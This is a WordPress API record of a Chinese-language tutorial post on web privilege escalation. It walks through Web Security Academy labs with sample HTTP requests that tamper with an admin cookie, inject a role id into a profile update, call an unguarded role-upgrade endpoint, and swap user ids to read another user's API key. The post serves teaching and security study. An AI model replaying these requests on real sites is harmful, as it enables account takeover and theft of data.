{"id":1324,"date":"2024-05-01T18:37:00","date_gmt":"2024-05-01T10:37:00","guid":{"rendered":"https:\/\/systw.net\/note\/?p=1324"},"modified":"2025-08-03T18:12:41","modified_gmt":"2025-08-03T10:12:41","slug":"access-control","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/1324","title":{"rendered":"WEB Privilege Escalation"},"content":{"rendered":"\n<p>\u5b58\u53d6\u63a7\u5236\u662f\u9650\u5236\u8ab0\u6216\u4ec0\u9ebc\u88ab\u6388\u6b0a\u9032\u884c\u64cd\u4f5c\u6216\u5b58\u53d6\u8cc7\u6e90\u7684\u61c9\u7528\u3002\u8a2d\u8a08\u4e0d\u826f\u7684WEB\u5b58\u53d6\u63a7\u5236\u5f88\u5e38\u898b\uff0c\u800c\u4e14\u53ef\u80fd\u5c0e\u81f4\u56b4\u91cd\u7684\u5b89\u5168\u6f0f\u6d1e\u3002\u8a2d\u8a08\u548c\u7ba1\u7406\u5b58\u53d6\u63a7\u5236\u662f\u4e00\u500b\u8907\u96dc\u4e14\u4e0d\u65b7\u8b8a\u5316\u7684\u554f\u984c\uff0c\u56e0\u6b64\u51fa\u932f\u7684\u53ef\u80fd\u6027\u5f88\u9ad8\u3002\u5b58\u53d6\u63a7\u5236\u95dc\u6ce8\u7684\u9ede\u4e3b\u8981\u6709\u4ee5\u4e0b\u4e09\u500b\u9762\u5411\uff1a<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"vertical-access-controls\">\u5782\u76f4\u5b58\u53d6\u63a7\u5236<\/h3>\n\n\n\n<p>\u5782\u76f4\u5b58\u53d6\u63a7\u5236\u662f\u9650\u5236\u7279\u5b9a\u985e\u578b\u4f7f\u7528\u8005\u5c0d\u654f\u611f\u529f\u80fd\u7684\u5b58\u53d6\u7684\u6a5f\u5236\u3002\u4f8b\u5982\uff0c\u7ba1\u7406\u54e1\u53ef\u80fd\u80fd\u5920\u4fee\u6539\u6216\u522a\u9664\u4efb\u4f55\u4f7f\u7528\u8005\u7684\u5e33\u6236\uff0c\u800c\u4e00\u822c\u4f7f\u7528\u8005\u7121\u6b0a\u5b58\u53d6\u9019\u4e9b\u64cd\u4f5c\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"horizontal-access-controls\">\u6c34\u5e73\u5b58\u53d6\u63a7\u5236<\/h3>\n\n\n\n<p>\u6c34\u5e73\u5b58\u53d6\u63a7\u5236\u662f\u9650\u5236\u7279\u5b9a\u4f7f\u7528\u8005\u5c0d\u8cc7\u6e90\u7684\u5b58\u53d6\u7684\u6a5f\u5236\u3002\u4f8b\u5982\uff0c\u9280\u884c\u61c9\u7528\u7a0b\u5f0f\u5c07\u5141\u8a31\u7528\u6236\u67e5\u770b\u4ea4\u6613\u4e26\u5f9e\u81ea\u5df1\u7684\u5e33\u6236\uff08\u4f46\u4e0d\u5141\u8a31\u4efb\u4f55\u5176\u4ed6\u7528\u6236\u7684\u5e33\u6236\uff09\u9032\u884c\u4ed8\u6b3e\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"context-dependent-access-controls\">\u4e0a\u4e0b\u6587\u76f8\u95dc\u7684\u5b58\u53d6\u63a7\u5236<\/h3>\n\n\n\n<p>\u4e0a\u4e0b\u6587\u76f8\u95dc\u7684\u5b58\u53d6\u63a7\u5236\u6839\u64da\u61c9\u7528\u7a0b\u5f0f\u7684\u72c0\u614b\u6216\u4f7f\u7528\u8005\u8207\u5176\u4e92\u52d5\u4f86\u9650\u5236\u5c0d\u529f\u80fd\u548c\u8cc7\u6e90\u7684\u5b58\u53d6\u3002\u4f8b\u5982\uff0c\u96f6\u552e\u7db2\u7ad9\u53ef\u80fd\u6703\u963b\u6b62\u7528\u6236\u5728\u4ed8\u6b3e\u5f8c\u4fee\u6539\u8cfc\u7269\u8eca\u7684\u5167\u5bb9\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"vertical-privilege-escalation\">\u5782\u76f4\u63d0\u6b0a<\/h2>\n\n\n\n<p>\u5e38\u898b\u7684\u65b9\u6cd5\u6709\u4ee5\u4e0b<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u6539\u53c3\u6578\u589e\u52a0\u672a\u6388\u6b0a\u529f\u80fd<\/li>\n\n\n\n<li>\u8986\u5beb\u53c3\u6578\u589e\u52a0\u672a\u6388\u6b0a\u529f\u80fd<\/li>\n\n\n\n<li>\u672a\u9a57\u8b49\u8acb\u6c42\u8005\u662f\u5426\u6709\u6b0a\u9650<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u6539\u53c3\u6578\u589e\u52a0\u672a\u6388\u6b0a\u529f\u80fd<\/h3>\n\n\n\n<p>\u7cfb\u7d71\u7528\u53c3\u6578\u4f86\u5224\u65b7\u6b0a\u9650\uff0c\u4f46\u4efb\u4f55\u4eba\u90fd\u80fd\u4fee\u6539\u53c3\u6578\uff0c\u800c\u5f97\u5230admin\u6b0a\u9650<\/p>\n\n\n\n<p>\u4f8b\u5982\uff0c\u6b63\u5e38\u8acb\u6c42\u8a2a\u554f\u7ba1\u7406\u4ecb\u9762\u6642\u7121\u6cd5\u9032\u5165<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/admin\n...omit...\nCookie: session=Sxafefaasefaef; Admin=false\n...omit...<\/code><\/pre>\n\n\n\n<p>\u4f46\u53ea\u8981\u5c07cookie\u4e2d\u7684admin\u8a2d\u70batrue\uff0c\u5c31\u53ef\u4ee5\u9032\u5165\u7ba1\u7406\u4ecb\u9762\uff0c\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/admin\n...omit..\nCookie: session=Sxafefaasefaef; <mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">Admin=true<\/mark>\n...omit...<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<p>Lab: User role controlled by request parameter<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u8986\u5beb\u53c3\u6578\u589e\u52a0\u672a\u6388\u6b0a\u529f\u80fd<\/h3>\n\n\n\n<p>\u7cfb\u7d71\u7528id\u4f86\u5224\u65b7\u6b0a\u9650\uff0c\u4f46\u4efb\u4f55\u4eba\u90fd\u80fd\u4fee\u6539id\uff0c\u800c\u5f97\u5230admin\u6b0a\u9650<\/p>\n\n\n\n<p>\u4f8b\u5982\uff0c\u76ee\u6a19\u7db2\u7ad9\u7684roleid\uff1a2\u4ee3\u8868\u7ba1\u7406\u8005\u6b0a\u9650\uff0c\u5728\u5617\u8a66\u66f4\u6539email\u6642\u767c\u73fe\u8fd4\u56de\u5167\u5bb9\u5305\u542broleid\uff0c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############### request ##################\nPOST \/my-account\/change-email\n...omit...\n{\"email\":\"test@email.com\"}\n\n############### response ##################\n...omit...\n{\n \"username\":\"wiener\",\n \"email\": \"test@email.com\",\n \"apikey\": \"aw3etg5wea2gaef6goijef\",\n \"roleid\": 1,\n}<\/code><\/pre>\n\n\n\n<p>\u7591\u4f3c\u53ef\u4ee5\u5728\u8acb\u6c42\u6642\u589e\u52a0&#8221;roidie&#8221;: 2\uff0c\u4ee5\u8986\u84cb\u4f7f\u7528\u8005\u89d2\u8272\uff0c\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############### request ##################\nPOST \/my-account\/change-email\n...omit...\n{\"email\":\"test@email.com\",\"roidie\": 2}\n\n############### response ##################\n...omit...\n{\n \"username\":\"wiener\",\n \"email\": \"test@email.com\",\n \"apikey\": \"aw3etg5wea2gaef6goijef\",\n \"roleid\": 2,\n}<\/code><\/pre>\n\n\n\n<p>\u6210\u529f\u5c07wiener\u7684roleid\u8b8a\u62102\uff0c\u6b64\u70ba\u76ee\u6a19\u7db2\u7ad9\u7684\u6700\u9ad8\u7ba1\u7406\u54e1\u89d2\u8272ID<\/p>\n\n\n\n<p>Lab: User role can be modified in user profile<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u672a\u9a57\u8b49\u8acb\u6c42\u8005\u662f\u5426\u6709\u6b0a\u9650<\/h3>\n\n\n\n<p>\u5f8c\u53f0\u63d0\u6b0a\u4ecb\u9762\u672a\u505a\u9650\u5236\uff0c\u4efb\u4f55\u4eba\u90fd\u80fd\u4f7f\u7528\uff0c\u4efb\u4f55\u4eba\u90fd\u53ef\u4ee5\u4f7f\u7528\u63d0\u6b0a\u529f\u80fd\u5c07\u5c0f\u5e33\u865f\u5347\u6210admin<\/p>\n\n\n\n<p>\u4f8b\u5982\uff0c\u5206\u6790\u76ee\u6a19\u7db2\u7ad9\u6642\uff0c\u767c\u73fe\u63d0\u6607\u4f7f\u7528\u8005\u8b8a\u7ba1\u7406\u54e1\u7684\u8acb\u6c42\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############### request ##################\nPOST \/admin-roles HTTP\/2\nHost: 0abf002c0389fb3b81bb0dc7009900af.web-security-academy.net\n...omit...\naction=upgrade&amp;confirmed=true&amp;username=carlos<\/code><\/pre>\n\n\n\n<p>\u4f46\u56e0\u70ba\u8a72\u76ee\u6a19\u6709\u6f0f\u6d1e\uff0c\u56e0\u6b64\u4efb\u4f55\u767b\u5165\u7684\u4f7f\u7528\u8005\u90fd\u53ef\u4ee5\u547c\u53eb\u9019\u500b\u8acb\u6c42\uff0c\u4f8b\u5982wiener\u767b\u5165\u5f8c\u53ef\u4ee5\u81ea\u5df1\u63d0\u6607\u81ea\u5df1\u7684\u6b0a\u9650\uff0c\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############### request ##################\nPOST \/admin-roles HTTP\/2\nHost: 0abf002c0389fb3b81bb0dc7009900af.web-security-academy.net\n...omit...\naction=upgrade&amp;confirmed=true&amp;username=<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">wiener<\/mark>\n\n############### response ##################\nHTTP\/1.1 302 Found<\/code><\/pre>\n\n\n\n<p>Lab: Multi-step process with no access control on one step<\/p>\n\n\n\n<p><\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u6c34\u5e73\u63d0\u6b0a<\/h2>\n\n\n\n<p>\u5e38\u898b\u7684\u65b9\u6cd5\u6709\u4ee5\u4e0b<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u63dbname\u5c31\u53ef\u4ee5\u8b8a\u6210\u5225\u4eba<\/li>\n\n\n\n<li>\u63dbid\u5c31\u53ef\u4ee5\u8b8a\u6210\u5225\u4eba<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u63dbname\u5c31\u53ef\u4ee5\u8b8a\u6210\u5225\u4eba<\/h3>\n\n\n\n<p>wiener\u767b\u5165\u5f8c\u53f0\uff0c\u900f\u904e\u4ee5\u4e0b\u8acb\u6c42\uff0c\u53ef\u770b\u5230wiener\u5c08\u5c6c\u7684key<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/my-account?id=wiener<\/code><\/pre>\n\n\n\n<p>\u6b63\u5e38\u8acb\u6cc1\u4e0bwiener\u53ea\u80fd\u770b\u81ea\u5df1\u7684key\uff0c\u4f46\u56e0\u70ba\u76ee\u6a19\u6709\u6f0f\u6d1e\uff0c\u5982\u679c\u8acb\u6c42\u6642\u628aid\u63db\u6210carlos\u5982\u4e0b\uff0c\u5c31\u80fd\u5077\u770b\u5230carlos\u7684key<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/my-account?id=carlos<\/code><\/pre>\n\n\n\n<p>Lab: User ID controlled by request parameter<br>Lab: User ID controlled by request parameter with data leakage in redirect<br>Lab: User ID controlled by request parameter with password disclosure<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u63dbid\u5c31\u53ef\u4ee5\u8b8a\u6210\u5225\u4eba<\/h3>\n\n\n\n<p>wiener\u767b\u5165\u5f8c\u53f0\uff0c\u900f\u904e\u4ee5\u4e0b\u8acb\u6c42\uff0c\u53ef\u770b\u5230wiener\u5c08\u5c6c\u7684key <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/my-account?id=5739a-fe78a-ase19<\/code><\/pre>\n\n\n\n<p>\u5728\u7db2\u7ad9\u5176\u4ed6\u5730\u65b9\u700f\u89bdcarlos\u8cbc\u7684\u6587\u7ae0\u6642\u767c\u73fe\u4ee5\u4e0b\u8acb\u6c42\uff0c\u63a8\u65b7carlos\u7684id\u70ba9411b-87dl1-892ar<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/blogs?userid=9411b-87dl1-892ar<\/code><\/pre>\n\n\n\n<p>\u6b63\u5e38\u8acb\u6cc1\u4e0bwiener\u53ea\u80fd\u770b\u81ea\u5df1\u7684key\uff0c\u4f46\u56e0\u70ba\u76ee\u6a19\u6709\u6f0f\u6d1e\uff0c\u5982\u679c\u8acb\u6c42\u6642\u628aid\u63db\u62109411b-87dl1-892ar\u5982\u4e0b\uff0c\u5c31\u80fd\u5077\u770b\u5230carlos\u7684key<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/my-account?id=9411b-87dl1-892ar<\/code><\/pre>\n\n\n\n<p>Lab: User ID controlled by request parameter, with unpredictable user IDs<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5b58\u53d6\u63a7\u5236\u662f\u9650\u5236\u8ab0\u6216\u4ec0\u9ebc\u88ab\u6388\u6b0a\u9032\u884c\u64cd\u4f5c\u6216\u5b58\u53d6\u8cc7\u6e90\u7684\u61c9\u7528\u3002\u8a2d\u8a08\u4e0d\u826f\u7684WEB\u5b58\u53d6\u63a7\u5236\u5f88\u5e38\u898b\uff0c\u800c\u4e14\u53ef\u80fd\u5c0e\u81f4\u56b4\u91cd\u7684\u5b89\u5168\u6f0f\u6d1e\u3002\u8a2d\u8a08\u548c\u7ba1\u7406\u5b58\u53d6\u63a7\u5236\u662f\u4e00\u500b\u8907\u96dc\u4e14\u4e0d\u65b7\u8b8a\u5316\u7684\u554f\u984c\uff0c\u56e0\u6b64\u51fa\u932f\u7684\u53ef\u80fd\u6027\u5f88\u9ad8\u3002<\/p>\n","protected":false},"author":1,"featured_media":2485,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"https:\/\/i.imgur.com\/BV8jI4Q.jpg","fifu_image_alt":"access control","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"enabled":false},"version":2}},"categories":[367],"tags":[],"class_list":["post-1324","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-logic-vulnerabilities"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/i.imgur.com\/BV8jI4Q.jpg?fit=161%2C81&ssl=1","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1324","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=1324"}],"version-history":[{"count":1,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1324\/revisions"}],"predecessor-version":[{"id":2484,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1324\/revisions\/2484"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media\/2485"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=1324"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=1324"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=1324"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}